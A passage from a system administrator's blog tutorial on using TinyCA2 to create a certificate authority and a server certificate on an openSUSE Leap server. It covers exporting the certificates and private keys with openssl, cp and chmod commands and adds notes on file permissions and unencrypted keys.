-rw------- 1 root root 3872 Jul 20 13:13 openssl.cnf
drwx------ 2 root root 4096 Jul 20 13:12 req
-rw------- 1 root root    2 Jul 20 13:12 serial

Hint: You should make a backup of the CA directories on a periodic basis.

Now, you can export the CA certificate in form of a standard pem-file to some intermediate place where you gather your own certificates and keys – in my case this is a directory “/etc/certs” – which so far survived any Opensuse upgrades. Depending on what else you intend to save there (private keys?), you should make this place accessible to root only! We click on the second to last icon in the icon row of TinyCA2:

Note: In general you have any freedom here to give the exported file any kind of name – whatever you like. However, it is a good policy to use the “common name” which you gave to the CA certificate. See below for the reason.

Place the CA certificate at a central location for trusted CAs

We can now export this certificate file with public information to servers into directories where we gather the public certificates (keys) of all trusted CAs. Of course we need to do this on the server “myserv”, too, as some services may refer to it. In my age my first guess is “/etc/ssl/certs“; old habit form a decade ago where this directory was used more frequently.

myserv:~/.TinyCA/anraconc-CA # cp /etc/certs/anraconc-CA.pem /etc/ssl/certs
myserv:~/.TinyCA/anraconc-CA # chmod 640 /etc/ssl/certs/anraconc-CA.pem 
myserv:~/.TinyCA/anraconc-CA # 

A wrong decision in the end – see below. But for our present session this will work.

Note: If we would create Sub-CAs we would have to export all respective pem files to such a central location – the whole CA-chain must be reflected there for the verification of a service whose “server certificate” has been issued by a sub-CA. I do not use Sub-CAs in this article – but it my be necessary in your organization!

Create a server certificate

Now, we need to create “server certificates” or even service specific certificates. It depends on your policy of how far you want to discriminate services.

In this article I follow the path of a server wide central “server certificate” for all the services implemented there. As examples we shall later have a look at a local OpenLDAP service and a local Apache web server. My central server “myserv” with OpenLDAP has a FQDN of “myserv.anraconc.de”.

Important note: You must use the FQDN as a “common name” in server certificates – consistent with DNS settings. Otherwise you may risk warnings of security aware applications that the server certificate does not fit the server!

in our TinyCA2 window we click on the tab “Certificates” and then on the empty sheet icon:

We fill in the required data. As keys protected by a password may cause trouble for services during automated system startups we try to leave the password-fields empty:

But this approach is not accepted!

So we type in some lengthy password – and set the options for Digest and Algorithm again explicitly – by clicking a bit around first (see above). Then we click on “OK” and get:

Think a bit about the validity! Actually, the length of the validity period should be somewhat shorter than the period for your CA! E.g. 5 years. Otherwise you will get a warning. Eventually:

If you click on the tab “Keys” you will see a related (private) key, too.

Important Note:
We have taken a shortcut here. You could have started in a different way – namely via a certificate “request”. In a first step you would then have issued such a “request” under the tab “Requests” and filled out an initial form there. Afterwards, you explicitly need to sign the requested certificate with the CA’s signature. You get the option for signing by right-clicking on the request entry after its creation. This approach also leads to a valid certificate.

Exporting the server certificate and the key to a central location on the Opensuse system

We need to export the certificate and the (private) key to some
save location on our server “myserv” – only accessible to root (and maybe read accessible to some special system user). On an Opensuse Leap system the location for server certificates should be “/etc/ssl/servercerts“. For exporting the certificate we right-click on the entry:

Then we switch to the tab “Keys” and do the same there:

Important note:
At this point we get an option to export the key without a password. I have chosen this option. This implicates security risks – your exported private key is protected by nothing afterwards. So be very careful where you save it and with which access rights. On the other side such a key will allow for automated service starts – otherwise someone would have to provide the password during startup. I do not want to deepen the discussion here. But be careful with unprotected private keys!

You saw that I exported into my intermediate directory “/etc/certs”. There we change rights for security reasons to:

myserv:/etc/ssl # chmod 600 /etc/certs/myserv-anraconc-key.pem 

Note:
If you instead export your key with the password there is a way to get rid of it afterwards:

myserv:/etc/certs # openssl rsa -in /etc/certs/myserv-anraconc-key.pem -out /etc/certs/myserv-anraconc-key_new.pem
Enter pass phrase for /etc/certs/myserv-anraconc-key.pem:
writing RSA key
myserv:/etc/certs # cp /etc/certs/myserv-anraconc-key_new.pem /etc/certs/myserv-anraconc-key.pem

This creates a key without password! Actually I recommend to use this approach – we do not know details of TinyCA2’s export procedure, but “openssl” will always create the key in the format required for further processing.

Now, before any further steps, I make a backup of everything existing in the folder “/etc/ssl/servercerts“. This is important! If you loose your previous certificates and keys they are gone and you have no chance to get services running with them.

Then we overwrite the existing entries:

 
myserv:/etc/ssl # cp /etc/certs/myserv-anraconc-cert.pem /etc/ssl/servercerts/servercert.pem 
myserv:/etc/ssl # cp /etc/certs/myserv-anraconc-key.pem /etc/ssl/servercerts/serverkey.pem 
myserv:/etc/ssl # chmod 600 /etc/ssl/servercerts/serverkey.pem 

Note: The last step is of fundamental importance due to security reasons! See the discussion below if this leads to trouble for some services and the related system user.

You may try “644” in the beginning to avoid any problems with system users running special services. But if you do this then DO NOT FORGET to restrict the read rights again in the end and after your tests.

Note that replacing the contents of /etc/ssl/severcerts” will probably lead to a breakdown of all services which base their TLS/SSL functionality on these files. In most cases the reason for this will be that the configuration will refer to a wrong CA-certificate. Therefore, you must reconfigure your local services step by step.

Conclusion

Enough for today. We have seen how TinyCA2 can be patched for SHA256, how it can be used to create a CA and server certificates. In the next article

TinyCA2 as a replacement for YaST’s CA-tools on Opensuse Leap servers with TLS/SSL – II

we shall reconfigure an Apache and an LDAP service to work with the new server certificate. And I shall show how we can make the CA-certificate permanently available in “/etc/ssl/certs” – across any server reboot. Stay tuned !

Links

CAs and Certificates – general information
https://wiki.ubuntuusers.de/CA/
stackexchange.com: what-role-do-hashes-play-in-tls-ssl-certificate-validation
stackexchange.com how-does-ssl-tls-work
robpol86.com root certificate authority
https://roll.urown.net/ca/ca_cert.html

TinyCA2
https://github.com/glennie/tinyca2
linux-magazin 2008: eigene zertifikatsstelle mit tinyca

TinyCA2 patches
https://www.systemajik.com/tinyca-sha2/.

Critical
stackexchange.com: which-properties-of-a-x-509-certificate-should-be-critical-and-which-not